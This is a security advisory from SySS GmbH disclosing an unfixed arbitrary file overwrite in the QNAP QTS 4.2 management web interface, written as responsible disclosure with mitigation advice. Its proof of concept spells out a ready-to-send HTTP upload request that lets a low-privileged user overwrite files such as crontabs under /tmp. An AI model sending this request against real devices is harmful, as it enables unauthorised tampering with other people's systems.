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Advisory ID: SYSS-2016-053
Product: QNAP QTS
Manufacturer: QNAP
Affected Version(s): 4.2.1 Build 20160601
Tested Version(s): 4.2.1 Build 20160601 - 4.2.2 Build 20160812
Vulnerability Type: Arbitrary file overwrite (CWE-23)
Risk Level: High
Solution Status: unfixed
Manufacturer Notification: 2016-06-06
Solution Date: tbd.
Public Disclosure: 2016-08-18
CVE Reference: Not assigned
Author of Advisory: Sebastian Nerz (SySS GmbH)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Overview:

QTS is the operating system used by manufacturer QNAP on its series of
NAS devices[1].

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details:


The SySS GmbH found an vulnerability in the user configuration interface
of the QTS management webapplication, allowing an authenticated user to
overwrite arbitrary files in /tmp and its subdirectories.

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Proof of Concept (PoC):

1. Log in to the QNAP. The user needs no special privileges.
2. Run a request like the following:

==
POST /cgi-bin/userConfig.cgi?imbgName=[newNameToOverwrite]&func=uploadBgImg&sid=[sid] HTTP/1.1
Host: [IP of the QNAP]:8080
Content-Type: multipart/form-data;boundary=foo
Content-Length: 115

foo
Content-Disposition: form-data; name="filename"; filename="foo.txt"
Content-Type: non-image-jpeg

asdf
foo--

==
3. The uploaded file will be written to /tmp/[newNameToOverwrite] allowing overwriting e.g. crontabs, PID-files and similar files.


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Solution:

The manufacturer has not released any security update or patch so far.
Administrators of QNAP QTS 4.2 installations should ensure that only 
trusted users/administrators have access to the QNAP or the required
permissions to update their profile.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclosure Timeline:

2016-06-06: Vulnerability discovered and reported to manufacturer
2016-06-20: Vulnerability report confirmed by manufacturer
2016-07-06: Manufacturer asked for timeline regarding a fix
2016-07-18: Manufacturer reminded about upcoming public disclosure
2016-08-18: Public disclosure

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

References:

[1] Product website for QNAP QTS
    http://www.qnap.com/qts/4.2/en/
[2] SySS Security Advisory SYSS-2016-053
    https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2016-053.txt
[3] SySS Responsible Disclosure Policy
    https://www.syss.de/en/responsible-disclosure-policy/

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Credits:

Security vulnerability found by Sebastian Nerz of the SySS GmbH.

E-Mail: sebastian.nerz@syss.de
Public Key:
https://www.syss.de/fileadmin/dokumente/Materialien/PGPKeys/Sebastian_Nerz.asc
Key ID: 0x9180FDB2
Key Fingerprint: 79DC 2CEC D18D F92F CBB4 AF09 D12D 26A4 9180 FDB2

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclaimer:

The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of  this security advisory is available on the SySS Web
site.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Copyright:

Creative Commons - Attribution (by) - Version 3.0
URL: http://creativecommons.org/licenses/by/3.0/deed.en
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